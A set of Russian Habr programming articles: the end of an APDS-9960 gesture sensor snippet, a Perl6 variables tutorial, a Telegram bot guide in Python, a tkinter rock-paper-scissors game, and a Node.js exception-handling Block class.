GSTATUS_buf = i2c1_read(APDS9960_GSTATUS);
if(GSTATUS_buf & APDS9960_GVALID) {
GFLVL_buf = i2c1_read(APDS9960_GFLVL);
if(GFLVL_buf) {
GestureUp = i2c1_read(APDS9960_GFIFO_U);
GestureDown = i2c1_read(APDS9960_GFIFO_D);
GestureLeft = i2c1_read(APDS9960_GFIFO_L);
GestureRight = i2c1_read(APDS9960_GFIFO_R);
//Truth table:
//UP: GestUpDown(+) | GestLeftRight(+)
//DOWN: GestUpDown(-) | GestLeftRight(-)
//LEFT: GestUpDown(+) | GestLeftRight(-)
//RIGHT: GestUpDown(-) | GestLeftRight(+)
GestUpDown = GestureUp-GestureDown;
GestLeftRight = GestureLeft-GestureRight;
GesturesSet(GESTURES_STOP);
}
}
}
}
```
Хочу отметить, что механизм жестов у APDS-9960 работает очень даже неплохо. Распознавание стабильное, хорошо работают встроенные в APDS-9960 UV and IR фильтры.
Надеюсь, данный материал кому-нибудь окажется полезен. Спасибо за внимание. | https://habr.com/ru/post/424947/ | null | ru | null |
# Особенности работы с переменными и литералами в Perl6
Не так давно я решил начать изучать Perl6, даже не смотря на то, что фактически полностью работающего компилятора ещё нету. Подумал что можно смотреть [Synopsis'ы](http://feather.perl6.nl/syn/), смотреть что из написанного в них уже работает, и изучать как именно это работает на различных примерах. Этим я и начал заниматься, попутно записывая себе в блокнот результаты различных манипуляций с переменными.
И вот в качестве своего первого поста я решил поделиться своими познаниями: тем, что обычно авторы материала оставляют на самостоятельную «проработку» — ответы на вопросы по типу «а что будет если ...» или «а что из себя это представляет в языке».
В этой статье Я опишу какие основные типы данных есть в этом языке и частично затрону вопрос о контекстах — одной из основных особенностей языка Perl.
**Виды переменных и типы их возможных значений.**
В Perl6 имеется 3 основных вида переменных: Скаляры, Массивы, Хэши.
Для объявления какой либо переменной используется ключевое слово my — объявление локальной переменной, our — для обяъвления глобальной переменной (Это не единственные способы объявления переменных, но пока что хватит).
* Скаляры.
Скаляры, это переменные, которые могут содержать единственное значение: Число, строку, булево значение, ссылку.
Скалярные переменные объявляются с использование знака '$'. Переменные a, b и c объявляются как $a, $b и $c соотвественно. Так же переменные можно сразу же инициализировать значением.
Например
```
my $scalarVar;
my ($var1, $var2, $var3);
my $newStr = "Это строка";
my $bigNumber = 192958238719732641028368452872938741029834612983412038471293847123641892364;
my ($a, $b, $c) = 1, 2, 3; или my ($a, $b, $c) = (1, 2, 3);
```
Если переменной при объявлении было присвоено значение одного типа например число, то в любой момент переменной может быть присвоена строка, или любой другой тип данных.
Например
```
my $scalarVar;
$scalarVar = 'Строка';
$scalarVar = 25;
$scalarVar = True;
```
Основные типы данных:
+ Целые числа.
Целые числа представляются типом Int(). Если число по количеству разрядов превышает максимальное количество разрядов типа Int() то оно автоматически приводится к типу Num(), которое может без округлений держать целое число любой длины (Я предполагаю что любой длины, так как один раз ради эксперимента я получил число, длиною в 300 тысяч цифр). Для записи слишком больших чисел можно использовать символ '\_' для визуального отделения по несколько цифр в числе. Например `1_000_000, 1_0_0_0; 1_00_0`, однако лучше последние два варианта не использовать;
+ Дробные числа
Дробное число представляется типом Rat() или Num() в зависимости от их значения. Числа могут иметь вид `42.01, 10e-5`. При присвоении переменной слишком длинных чисел perl6 может округлять дробную часть, но целую часть держит без изменений, какой бы длинной она не была (Опять же я не уверен в этом, но мои эксперименты подсказывают что будет именно так). Если в в результате вычислений получается очень большое дробное число, то результат может быть возвращен как значение Inf, которое является значением типа Num().
+ Строки
В качестве строки может быть любой набор uncode-символов, ограниченный одинарными кавычками (') или двойными ("). Разница между ними в том, что в первом случае не происходит подстановка переменных а так же спец символов (таких как \n, \t). Если строка записана как `'f ф \n 1'` то при выводе все эти символы будут показаны без изменений. Если же написать `"f ф \n 1"` то на экране окажутся две строки: 'f ф ' и строка ' 1'.
'\n' Это символ перехода на новую строку.
+ Булево значение
Это значения True и False (Обязательно с большой буквы!), имеющие тип Bool().
+ Ссылки
Переменная данного типа указывает на существующий объект. С помощью ссылки можно проводить точно такие же действия как и с самим объектом, на которую она указывает (например обращение к элементу массива).
Самое главное:
```
$a = 10;
$b = \$a;
```
В данном случае переменной $b присваивается ссылка на переменную $a. Если вывести на экран значение переменной $b, то по ссылки автоматически будет взято значение переменной $a, НО если переменной $b присвоить новое значение `$b=5;` то значение 5 будет записано вместо ссылки на переменную $a, а не в саму переменную $a. Т.е. теперь $b будет содержать не ссылку, а просто число.
+ Пара 'Ключ-значение'
Этот тип имеет имя Pair(). Конструктором пар является '=>'. Например `(1=>'a')` создает пару, где ключем является 1, а значение по данному ключу — 'a'. Причем возможными значениями ключей являются строки ( в данном случае 1 была автоматически приведена к строковому типу), а значениями по ключу могут быть любые скаляры.
* Массивы
В Perl6 массивы динамические, т.е. при их инициализации не нужно указывать максимальный размер, т.к. память выделяется по мере добавления новых элементов. Элементами массива являются любые скаляры и скалярные переменные. В массивах индекс элемента зависит от позиции при объявлении. Конструктором массива является запятая. Например выражение `('a', 502, "str")` конструирует массив размером в 3 элемента (круглые скобки не обязательны). Индексы у элементов начинаются с нуля. т.е. нулевым элементом массива является 'a', под индексом 1 находится число 502, под индексом 2 находится «str». Типы скаляров не обязательно должны быть одинаковыми. Для генерации ссылки на массив используются квадратные скобки. Например `['a', 502, "str"]` возвращает ссылку на новый массив, которую можно присвоить скалярной переменной.
Имя массива должно начинаться с символа '@'. Например
```
@mass, @colors, @names
```
. Причем $names и `@names` являются разными переменными.
Массивы могут содержать любое количество элементов различного типа.
Примеры использования:
```
@arr = ('a', 502, "str");
@arr2 = (10, False, True, $scalarVar);
```
Для обращения к элементам массива используются квадратные скобки:
Например выражение @arr2[0] вернет 10, а @arr2[3] вернет не переменную $scalarVar а её значение, которое было на момент создания массива. Чтобы получить значение переменной $scalarVar записывать в массив нужно было ссылку на эту переменную: `@arr2 = (10, False, True, \$scalarVar);`
Если изначальный размер массива 2: `@arr = (1, 2);` и мы хотим задать значение элемента под индексом 5 (Например [arr](https://habrahabr.ru/users/arr/)[5] = 'new elem') то массив будет расширен до 6 элементов, а все добавленные элементы кроме [arr](https://habrahabr.ru/users/arr/)[5] будут неинициализированы ( Тип этого значения — Any() ).
* Хэши
Хэши представляют собой таблицу соотвествий, когда каждому ключу ставится в соотвествии одно значение. Значениями элементов хэша являются любоые скаляры а ключами являются строки.
Имя хэшей должно начинаться с символа '%':
```
my %hash = ('key1'=>'value1', '2'=>200, 'key10'=>True);
```
Если присвоить хэшу массив, то элементы массива будут попарно составлять элемент хэша:
```
my @mas = ('a, 1, 'b', 2);
my %hash = @mas;
```
В результате этого в переменной %hash будет храниться ('a'=>1, 'b'=>2);
Для обращения к элементам хэша используются фигурные скобки:
`%hash{'a'} = 'new value';`
Для добавления нового элемента хэша достаточно просто присвоить значение по новому ключу:
`%hash{'new elem'} = 255;`
Если в качестве ключа использовать число
`%hash{1000} = 20;`
то число конвертируется в строку, поэтому если в хэше уже есть элемент с ключем '1000', то при занесении значения по числовому ключу уже существующее значение перезапишется.
Так же хэш можно конструировать из пар:
```
$a = ('a'=>1);
$b = ('b'=>2);
%hash = $a, $b, 'c'=>3;
```
**Контексты**
Перейдем теперь к контекстам.
Perl 6 контекстно зависимый, это означает, что при различных условиях использования переменной, могут возвращаться различные значения. Прежде всего контекст определяется тем, какой именно переменной будет присваиваться значение:
$a =… — устанавливается скалярный контекст, @a =… устанавливается списочный контекст и т.д.
Имеются следующие контексты:
* Скалярный контекст
Скалярный контекст задается с помощью конструкции $(), где внутри скобок указывается выражение, результат которого будет интерпретироваться в скалярном контексте.
При использовании массивов в скалярном контексте вместо самого массива возвращается ссылка на данный массив, которую уже можно использовать, как имя массива (Например использовать операцию получения элемента массива).
При использование хэшей в скалярном контексте возвращается ссылка на хэш.
Более конкретные виды контекстов это:
+ Числовой контекст
Числовой контекст задается с помощью конструкции +(). Если в результате выражения, интерпретируемого в данном контексте, получается не числовой результат, то будет произведено приведение к числовому типу, и если в результате приведения появится ошибка, то работа скрипта останавливается.
+ Строковый контекст
Строковый контекст задается с помощью конструкции ~(). Обычно к строковому типу можно привести любое значение, поэтому проблем с данным контекстом не предвидется
+ Логический контекст
Логический контекст задается с помощью конструкции ?(). Результат выдается по правилам приведения к логическому типу.
* Списочный контекст
Списочный контекст задается с помощью конструкции @(). Пример создания массивов:
```
@a1 = (1, 2);
@a2 = (3, 4);
@a3 = (5, 6);
```
Однако если написать следующую строку
```
@b = (@a1, @a2, @a3);
```
то в результате, получится одномерный массив @b, который будет выглядить как `(1, 2, 3, 4, 5, 6)`, а не двумерный массив, выглядящий как `([1, 2], [3, 4], [5, 6])`. Получается это из-за того, что списочный контекст «сливает» все переданные ему массивы и хэши в один большой массив. Чтобы получить многомерный массив, необходимо передавать в конструктор не сами массивы, а ссылки на них:
```
@b = (\@a1, \@a2, \@a3)
```
Если в списочном контексте используется скалярное значение, то в результате получается одноэлементный массив, состоящий из этого скаляра.
Если в списочном контексте используется хэш, то в массив будут скопированы все ключи и значения из хэша в попарном виде:
```
%a = (1=>'a', 2=>'b');
@a = %a; # (1, 'a', 2, 'b')
```
Важно не путать, чем отличается результат выражения `(1, 2)` от результата выражения `[1, 2]`:
в первом случае, получается массив. Если его присвоить скалярной переменной $a = (1, 2) то в итоге в этой переменной будет ссылка на массив, если написать @a = (1, 2) то @a будет массивом из двух элементов.
Во втором случае, $a = [1, 2] так же будет содержать ссылку на массив, но @a = [1, 2] переменная @a будет массивом, состоящим из одного элемента — ссылки на массив (1, 2), т.к. ссылка является скалярным значением, которое и становится единственным элементом массива @a.
* Контекст хэша
В контексте хэша из скалярных переменных можно использовать только пары, или ссылки на массивы и хэши (про массивы ниже).
Если в контексте хэша используется массив с нечетным количеством элементов, то скрипт останавливает работу, т.к. при конструировании хэша количество ключей и количество значений не будет совпадать.
Если используется массив с четным количеством элементов, то в итоге получается хэш, в котором ключами являются четные элементы массива (под индексами 0, 2, 4), а значениями являются нечетные элементы массива (под индексами 1, 3, 5)
Для задания контекста хэша используется конструкция %()
В случае если написать
```
$a = [1, 2];
%a = $a;
```
то в результате будет ошибка! — т.к. хэшу присваивается скалярное значение — ссылка, и получается, что количество ключей не соответсвует количеству значений.
Если же написать:
```
$a = [1, 2];
%a = %($a);
```
То получается цепочка: ссылка на массив $a используется в хэш-контексте, поэтому берется само значение массива. При приведении типа массива к типу хэша, создается новый хэш (1=>2), и он уже присваивается переменной %a;
Ну вот, на этом мой маленький опыт манипуляций с переменными пока что и ограничивается. Я надеюсь что вы сдесь увидели что-то новое для вас, и интересное. Удачного дня! | https://habr.com/ru/post/152403/ | null | ru | null |
# Самый полный стартовый гайд по ботам Telegram (python)
QQ Хабр! В этом гайде мы пройдемся по каждому шагу создания ботов в Telegram - от регистрации бота до публикации репозитория на GitHub. Некоторым может показаться, что все разжевано и слишком много элементарной информации, но этот гайд создан для новичков, хотя будет интересен и для тех, кто уже занимался разработкой в Telegram. Сегодня мы будем делать бота, который отвечает на заданные вопросы.
I. Регистрация бота
-------------------
Прежде всего нужно зарегать бота. Для этого пишем боту [@BotFather](https://t.me/BotFather) команду `/newbot`, после этого даем боту имя и тэг. После этих действий бот отправит нам токен, который никому давать нельзя.
На этом процесс регистрации бота завершен, можно приступать к самому интересному - кодингу
II. Кодинг
----------
Итак, бота мы будем писать на python. Для начала установим библиотеку pytelegrambotapi. Для этого в командной строке (или в терминале, если у вас MacOS) пишем:
```
pip3 install pytelegrambotapi
```
После этого можно приступать, импортируем библиотеки и вводим токен:
```
import telebot
bot = telebot.TeleBot('BOT-TOKEN')
```
Вместо BOT-TOKEN пишем токен, который получили от BotFather
Сейчас можно уже и поговорить о кнопках
Кнопки
------
Для того, чтобы кнопки заработали нужно импортировать типы, для этого после импорта библиотек пишем:
```
from telebot import types
```
Бывает два вида кнопок, это:
* Inline-кнопки
* Keyboard-кнопки
**Inline-кнопки**
Для создания таких кнопок используется метод InlineKeyboardMarkup, например, сделаем кнопку, которая ведет на сайт Хабра
```
@bot.message_handler(commands = ['start'])
def url(message):
markup = types.InlineKeyboardMarkup()
btn1 = types.InlineKeyboardButton(text='Наш сайт', url='https://habr.com/ru/all/')
markup.add(btn1)
bot.send_message(message.from_user.id, "По кнопке ниже можно перейти на сайт хабра", reply_markup = markup)
```
Выглядит это так
Более подробно про такие кнопки можно почитать в [этой статье](https://habr.com/ru/post/335886/)
**Keyboard-кнопки**
Такие кнопки можно увидеть в большом количестве ботов, таких как Дайвинчик и тому подобные. Пишутся они довольно просто, с помощью метода ReplyKeyboardMarkup. Для примера сделаем кнопку выбора языка
```
@bot.message_handler(commands=['start'])
def start(message):
markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
btn1 = types.KeyboardButton("🇷🇺 Русский")
btn2 = types.KeyboardButton('🇬🇧 English')
markup.add(btn1, btn2)
bot.send_message(message.from_user.id, "🇷🇺 Выберите язык / 🇬🇧 Choose your language", reply_markup=markup)
```
Вот как это выглядит
Обратно к коду
--------------
Теперь уже точно можно вернуться к кодингу, давайте добавим стартовую команду и кнопку
```
@bot.message_handler(commands=['start'])
def start(message):
markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
btn1 = types.KeyboardButton("👋 Поздороваться")
markup.add(btn1)
bot.send_message(message.from_user.id, "👋 Привет! Я твой бот-помошник!", reply_markup=markup)
```
Далее делаем реакцию бота на кнопки (здесь то уже есть комментарии)
```
@bot.message_handler(content_types=['text'])
def get_text_messages(message):
if message.text == '👋 Поздороваться':
markup = types.ReplyKeyboardMarkup(resize_keyboard=True) #создание новых кнопок
btn1 = types.KeyboardButton('Как стать автором на Хабре?')
btn2 = types.KeyboardButton('Правила сайта')
btn3 = types.KeyboardButton('Советы по оформлению публикации')
markup.add(btn1, btn2, btn3)
bot.send_message(message.from_user.id, '❓ Задайте интересующий вопрос', reply_markup=markup) #ответ бота
```
Теперь по этому примеру продолжаем плодить бота
```
elif message.text == 'Как стать автором на Хабре?':
bot.send_message(message.from_user.id, 'Вы пишете первый пост, его проверяют модераторы, и, если всё хорошо, отправляют в основную ленту Хабра, где он набирает просмотры, комментарии и рейтинг. В дальнейшем премодерация уже не понадобится. Если с постом что-то не так, вас попросят его доработать.\n \nПолный текст можно прочитать по ' + '[ссылке](https://habr.com/ru/sandbox/start/)', parse_mode='Markdown')
elif message.text == 'Правила сайта':
bot.send_message(message.from_user.id, 'Прочитать правила сайта вы можете по ' + '[ссылке](https://habr.com/ru/docs/help/rules/)', parse_mode='Markdown')
elif message.text == 'Советы по оформлению публикации':
bot.send_message(message.from_user.id, 'Подробно про советы по оформлению публикаций прочитать по ' + '[ссылке](https://habr.com/ru/docs/companies/design/)', parse_mode='Markdown')
```
Так, стоп, сейчас нужно обсудить, как делать гиперссылки. Это делается просто, вот пример:
```
bot.send_message(message.from_user.id, 'Подробно про советы по оформлению публикаций прочитать по ' + '[ссылке](https://habr.com/ru/docs/companies/design/)', parse_mode='Markdown')
```
Как мы видим, чтобы сделать гиперссылку мы берем в квадратные скобки слово, которое будет ссылкой, а саму ссылку берем в круглые. В конце строки добавляем `parse_mode='Markdown'`
Когда мы дописали основной код нужно вставить важную строку
```
bot.polling(none_stop=True, interval=0) #обязательная для работы бота часть
```
Как сказано в комментарии, это строка обязательна для работы бота, чтобы он не отключался и работал постоянно.
Полностью наш код выглядит так:
```
import telebot
from telebot import types
bot = telebot.TeleBot('BOT-TOKEN')
@bot.message_handler(commands=['start'])
def start(message):
markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
btn1 = types.KeyboardButton("👋 Поздороваться")
markup.add(btn1)
bot.send_message(message.from_user.id, "👋 Привет! Я твой бот-помошник!", reply_markup=markup)
@bot.message_handler(content_types=['text'])
def get_text_messages(message):
if message.text == '👋 Поздороваться':
markup = types.ReplyKeyboardMarkup(resize_keyboard=True) #создание новых кнопок
btn1 = types.KeyboardButton('Как стать автором на Хабре?')
btn2 = types.KeyboardButton('Правила сайта')
btn3 = types.KeyboardButton('Советы по оформлению публикации')
markup.add(btn1, btn2, btn3)
bot.send_message(message.from_user.id, '❓ Задайте интересующий вас вопрос', reply_markup=markup) #ответ бота
elif message.text == 'Как стать автором на Хабре?':
bot.send_message(message.from_user.id, 'Вы пишете первый пост, его проверяют модераторы, и, если всё хорошо, отправляют в основную ленту Хабра, где он набирает просмотры, комментарии и рейтинг. В дальнейшем премодерация уже не понадобится. Если с постом что-то не так, вас попросят его доработать.\n \nПолный текст можно прочитать по ' + '[ссылке](https://habr.com/ru/sandbox/start/)', parse_mode='Markdown')
elif message.text == 'Правила сайта':
bot.send_message(message.from_user.id, 'Прочитать правила сайта вы можете по ' + '[ссылке](https://habr.com/ru/docs/help/rules/)', parse_mode='Markdown')
elif message.text == 'Советы по оформлению публикации':
bot.send_message(message.from_user.id, 'Подробно про советы по оформлению публикаций прочитать по ' + '[ссылке](https://habr.com/ru/docs/companies/design/)', parse_mode='Markdown')
bot.polling(none_stop=True, interval=0) #обязательная для работы бота часть
```
Этот код я написал за 10 минут, при желании код можно сделать намного больше. Полноценный бот выглядит [так](https://github.com/quadyyyy/space4kids-telegram-bot/blob/main/skbot.py). Этого бота я делал для конкурса и написал его за 3,5 часа.
**Важно:** если вы делаете полноценного бота, которого будете куда-то публиковать, очень стоит добавить в него эмодзи: кнопки, сообщения - все должно включать в себя эмодзи, это важно для красоты
III. Публикация репозитория на GitHub
-------------------------------------
Для этого на потребуется [приложение](https://desktop.github.com/) GitHub Desktop
Создаем новый репозиторий, после этого в папке по умолчанию появится папка с названием вашего проекта. В нее закидываем файлы проекта и в приложении нажимаем кнопку Commit to main. После этого нажимаем на кнопку Publish Repository. Готово! При желании, можно создать Readme.md
IV. Заключение
--------------
Здесь я расписал все, что я вспомнил о разработке ботов для telegram, если есть, что предложить - комментарии открыты для вас. Надеюсь, вам это было полезно.
*Источники:*
[Документация Telegram Bot API](https://core.telegram.org/bots/api)
[Встроенные кнопки в Telegram Bot API - pyTelgramBotApi](https://habr.com/ru/post/335886/) | https://habr.com/ru/post/697052/ | null | ru | null |
# Пишем простую игру на python
Сегодня мы создадим всем известную игру камень, ножницы, бумага. В этом нам поможет ЯП python и библиотека tkinter, но если вы не знаете что это такое, советую почитать данную [статью.](https://habr.com/ru/post/133337/)
Первое, что нам нужно, это начальная структура, окошко, у меня оно будет выглядеть так:
```
from tkinter import *
import random as rdm
class Main(Frame):
def __init__(self, root):
super(Main, self).__init__(root)
self.startUI()
def startUI(self):
pass
if __name__ == '__main__':
root = Tk()
root.geometry("500x500+200+200")
root.title("Камень, ножницы, бумага")
root.resizable(False, False)
root["bg"] = "#FFF"
app = Main(root)
app.pack()
root.mainloop()
```
Здесь мы создаём неизменяемое окно 500 на 500 с заголовком «Камень, ножницы, бумага» и белым фоном. Именно в это окошко мы будем добавлять кнопочки, счетчики и т.д.
Теперь в наш метод *startUI* добавим такие строчки:
```
btn = Button(root, text="Камень", font=("Times New Roman", 15))
btn = Button(root, text="Ножницы", font=("Times New Roman", 15))
btn3 = Button(root, text="Бумага", font=("Times New Roman", 15))
btn.place(x=10, y=100, width=120, height=50)
btn2.place(x=155, y=100, width=120, height=50)
btn3.place(x=300, y=100, width=120, height=50)
```
Эти 7 строчек добавят в наше окно 3 кнопки которые нечего не делают. Мы исправим это позже.
Пользователь делает свой выбор, нажимая на одну из 3 кнопок, это круто, но нам нужен оппонент, именно для этого нужен модуль random.
А вот теперь мы добавим функцию, которая будет обрабатывать выбор, и выдавать ответ, кто же выиграл в этом раунде. Сделаем это вот таким образом:
```
btn = Button(root, text="Камень", font=("Times New Roman", 15),
command=lambda x=1: self.btn_click(x))
btn2 = Button(root, text="Ножницы", font=("Times New Roman", 15),
command=lambda x=2: self.btn_click(x))
btn3 = Button(root, text="Бумага", font=("Times New Roman", 15),
command=lambda x=3: self.btn_click(x))
```
**Что тут происходит?**
Всё очень просто. Грубо говоря, если игрок нажмет камень, отправится 1, если ножницы, то 2, а если бумага, то 3, причем не только отправится, но и выведется в консоль.
На счет компьютера. Он свой выбор делает, но его выбор никуда не идёт.
Перед тем, как делать логику, нам нужно передать игроку результат, и для этого мы будем использовать *Label*. Добавим в *startUI* такие строчки:
```
self.lbl = Label(root, text="Начало игры!", bg="#FFF",
font=("Times New Roman", 21, "bold"))
self.lbl.place(x=120, y=25)
self.lbl2 = Label(root, justify="left",
font=("Times New Roman", 13),
text=f"Побед: {self.win}\nПроигрышей:"
f" {self.lose}\nНичей: {self.drow}",
bg="#FFF")
self.lbl2.place(x=5, y=5)
```
Отлично. Теперь у нас есть надпись, в которую мы будем выводить результат раунда и надпись со статистикой.
Сделаем 3 счетчика:
1. Поражений
2. Побед
3. Ничей
Для этого все в тот же *startUI* добавим такую строку:
```
self.win = self.drow = self.lose = 0
```
Теперь в классе *main* создаем метод *btn\_click*, и пишем в него следующие строки:
```
def btn_click(self, choise):
comp_choise = rdm.randint(1, 3)
print(choise)
```
Недолго музыка играла. Там же, в *btn\_click*, удаляем *> print(choise)* и пишем вот эти строки:
```
if choise == comp_choise:
self.drow += 1
self.lbl.configure(text="Ничья")
elif choise == 1 and comp_choise == 2 \
or choise == 2 and comp_choise == 3 \
or choise == 3 and comp_choise == 1:
self.win += 1
self.lbl.configure(text="Победа")
else:
self.lose += 1
self.lbl.configure(text="Проигрыш")
self.lbl2.configure(text=f"Побед: {self.win}\nПроигрышей:"
f" {self.lose}\nНичей: {self.drow}")
del comp_choise
```
Собственно всё, на этом создание закончилось. Всё работает, можно играть.
### Полный код:
```
from tkinter import *
import random as rdm
class Main(Frame):
def __init__(self, root):
super(Main, self).__init__(root)
self.startUI()
def startUI(self):
btn = Button(root, text="Камень", font=("Times New Roman", 15),
command=lambda x=1: self.btn_click(x))
btn2 = Button(root, text="Ножницы", font=("Times New Roman", 15),
command=lambda x=2: self.btn_click(x))
btn3 = Button(root, text="Бумага", font=("Times New Roman", 15),
command=lambda x=3: self.btn_click(x))
btn.place(x=10, y=100, width=120, height=50)
btn2.place(x=155, y=100, width=120, height=50)
btn3.place(x=300, y=100, width=120, height=50)
self.lbl = Label(root, text="Начало игры!", bg="#FFF", font=("Times New Roman", 21, "bold"))
self.lbl.place(x=150, y=25)
self.win = self.drow = self.lose = 0
self.lbl2 = Label(root, justify="left", font=("Times New Roman", 13),
text=f"Побед: {self.win}\nПроигрышей:"
f" {self.lose}\nНичей: {self.drow}",
bg="#FFF")
self.lbl2.place(x=5, y=5)
def btn_click(self, choise):
comp_choise = rdm.randint(1, 3)
if choise == comp_choise:
self.drow += 1
self.lbl.configure(text="Ничья")
elif choise == 1 and comp_choise == 2 \
or choise == 2 and comp_choise == 3 \
or choise == 3 and comp_choise == 1:
self.win += 1
self.lbl.configure(text="Победа")
else:
self.lose += 1
self.lbl.configure(text="Проигрыш")
self.lbl2.configure(text=f"Побед: {self.win}\nПроигрышей:"
f" {self.lose}\nНичей: {self.drow}")
del comp_choise
if __name__ == '__main__':
root = Tk()
root.geometry("430x160+200+200")
root.title("Камень, ножницы, бумага")
root.resizable(False, False)
root["bg"] = "#FFF"
app = Main(root)
app.pack()
root.mainloop()
``` | https://habr.com/ru/post/480906/ | null | ru | null |
# Централизованная обработка исключений в Node.JS
*Преамбула от переводчика: пару месяцев назад я искал решение для возможности использовать исключения в сервере игры, написанном на node.js. К сожалению, исключения в чистом виде не совсем совместимы со средой, работающей на event loop'е. Легче всего это объяснить на примере:*
```
try {
process.nextTick(function() {
throw new Error('Catch Me If You Can');
});
} catch (e) {
console.log('Exception caught:', e);
}
```
*Это исключение, разумеется, не будет поймано, и оно уронит весь процесс. Месяц назад увидел свет node.js версии 0.8.0 со свеженьким (экспериментальным) модулем [domain](http://nodejs.org/api/domain.html), который как раз призван решать подобные проблемы. Тем не менее, я бы хотел отдать дань классу, которым я пользуюсь до сих пор. Поехали:*
Функциональное программирование в node.js — это весело, выразительно и компактно. Кроме одного момента — обработки исключений. Об этом не часто говорят, но, по моему мнению, отсутствие гармоничного способа обработки ошибок и исключений — один из самых больших недостатков node.js. [Node-fibers](https://github.com/laverdet/node-fibers/) использует полностью императивный стиль программирования, чтобы достичь этого, но мне бы хотелось решить проблему в рамках функционального стиля.
Проблема с кодами ошибок (на которых основано ядро node.js) — это то, что код, который сталкивается первым с возникшей ошибкой — это почти всегда не то место определить, как нужно на нее реагировать. В этом случае try/catch-структуры в многопоточных системах куда более понятны. Кто-нибудь выше по стэку обычно знает, как обработать ошибку.
Однако, проблема с асинхронными системами, такими как node, заключается в том, что каждый раз, когда вызывается один из ваших коллбэков или слушателей EventEmitter, он вызывается либо на самом верху event loop'а, либо вызывается кодом, отличным от того, который назначал этого слушателя (место, где мы назначаем слушателя — это, возможно, более удачное место обработки потенциальной ошибки, чем некий произвольный код, который его вызвал). Если вы кидаете исключение в таких условиях, ваша программа наверняка упадёт целиком. Принимая во внимание, что в JavaScript существует очень много возможностей, когда верный код может выкинуть runtime-ошибки, эта проблема становится даже хуже, чем в C, где я могу избежать проблем, если будут осторожной с указателями и не буду делить на ноль. Да, юнит-тесты помогают, но это скорее попытка затыкать все дыры в сите, когда вам на самом деле просто нужна чаша.
Чтобы этого добиться, нам нужна возможность задать Блок (Block) с собственным Обработчиком Ошибок (Error Handler), которые можно просто и быстро создавать, и передавать вместе с коллбэками во внешний код. Затем, если в коллбэке возникнет исключение, то оно должно быть направлено в Обработчик Ошибок Блока, который был активным, когда мы создавали коллбэк. Я обнаружила, что большинство таких решений привносят Futures, Promises, Fibers, и т.д. вместе с этим простым функционалом для создания Блоков. Следующий сниппет описывает класс Block, который делает ровно то, что мне нужно:
```
/**
* Класс Block используется для перенаправления ошибок в логику верхнего уровня.
*/
function Block(errback) {
this._parent=Block.current;
this._errback=errback;
}
Block.current=null;
/**
* Обернуть функцию, чтобы любое исключение, возникшее во время ее работы,
* было перенаправлено в обработчик ошибок активного блока на момент вызова guard().
* Если не существует активного блока, возвращается оригинальная функция.
*
* Example: stream.on('end', Block.guard(function() { ... }));
*/
Block.guard=function(f) {
if (this.current) return this.current.guard(f);
else return f;
};
/**
* Начать новый блок с двумя коллбэками. Первый - это основная часть блока ("тело try").
* Второй - это обработчик ошибок ('catch').
*/
Block.begin=function(block, rescue) {
var ec=new Block(rescue);
return ec.trap(block);
};
/**
* Возвращает функцию function(err), которую можно вызвать в любое время для того,
* чтобы кинуть исключение в текущий блок (или текущий контекст, если блок не создан).
* Ошибка возникает только если аргумент err эквивалентен true.
*
* Example: request.on('error', Block.errorHandler())
*/
Block.errorHandler=function() {
// Capture the now current Block for later
var current=this.current;
return function(err) {
if (!err) return;
if (current) return current.raise(err);
else throw err;
};
};
/**
* Кинуть исключение в блоке. Если у блока есть error handler, исключение будет передано в него.
* Иначе вызо raise(...) будет проброшен в родительский блок. Если родительского блока нет,
* исключение будет просто брошено дальше с помощью throw.
* Любые исключения, кинутые в error handler'ах вложенных блоков,
* будут проброшены в родительские error handler'ы.
*/
Block.prototype.raise=function(err) {
if (this._errback) {
try {
this._errback(err);
} catch (nestedE) {
if (this._parent) this._parent.raise(nestedE);
else throw nestedE;
}
} else {
if (this._parent) this._parent.raise(err);
else throw(err);
}
};
/**
* Выполнить коллбэк callback в контексте текущего блока.
* Любые исключения будут переданы в метод raise() этого блока.
* Возвращает return value коллбэка или undefined при возникновении ошибки.
*/
Block.prototype.trap=function(callback) {
var origCurrent=Block.current;
Block.current=this;
try {
var ret=callback();
Block.current=origCurrent;
return ret;
} catch (e) {
Block.current=origCurrent;
this.raise(e);
}
};
/**
* Обернуть функцию, чтобы ошибки из нее перенаправлялись в этот блок.
* Этот метод похож на trap(), но возвращает функцию вместо ее немедленного исполнения.
*/
Block.prototype.guard=function(f) {
if (f.__guarded__) return f;
var self=this;
var wrapped=function() {
var origCurrent=Block.current;
Block.current=self;
try {
var ret=f.apply(this, arguments);
Block.current=origCurrent;
return ret;
} catch (e) {
Block.current=origCurrent;
self.raise(e);
}
};
wrapped.__guarded__=true;
return wrapped;
};
```
(Я выбрала терминологию Block/Rescue не потому что испытываю нежность к Ruby, а потому что такое решение не использует зарезервированные в JS слова).
*Прим. переводчика: пример из начала статьи, но с использованием Блоков, приобретает такой вид:*
```
Block.begin(function() {
process.nextTick(Block.guard(function() {
throw new Error;
}));
}, function(err) {
console.log('Exception caught:', err);
});
```
*Теперь исключение обрабатывается, и мы можем не ронять сервер. Это работает и с setTimeout, EventEmitter, коллбэками для запросов к бд, и чем угодно еще.*
Теперь рассмотрим пример использования Блока для централизованной обработки ошибок. В нашем примере используется [connect](https://github.com/senchalabs/connect/)'овский middleware, и в этом случае функция next является отличным обработчиком ошибок: она отдаст правильную ошибку http-клиенту. Если бы нам нужно было как-то самим обрабатывать ошибку, мы могли бы просто описать коллбэк в виде `function(err) { обработка; next(err); }`. Также вы можете использовать inline-функции в вызовах Block.begin для большего визуального сходства с try/catch, но я предпочитаю использовать именованные коллбэки для повышения читаемости.
```
function handleUserAgent(req, res, next) {
return Block.begin(process, next);
function process() {
jsonifyRequest(req, withRequest); // мы уверены, что код jsonifyRequest блокирующий,
// поэтому не используем Block.guard()
}
function withRequest(requestObj) {
var r=validators.UserAgentRecord(requestObj, {fix:true});
if (!r.valid) {
res.writeHead(400);
return res.end('Invalid request object: ' + r.reason);
}
var uar=r.object;
if (uar.token) {
// Verify
//return handler.verifyUserAgent(uar);
throw new Error('verifyUserAgent not yet implemented');
} else {
// Create
uar.token=null;
uar.type='auth'; // TODO: Maybe support unauth in the future?
handler.createUserAgent(uar, Block.guard(withUserAgent));
}
}
function withUserAgent(userAgent) {
var r=validators.UserAgentRecord(userAgent, {fix:true});
return respondJson(r.object, res);
}
}
```
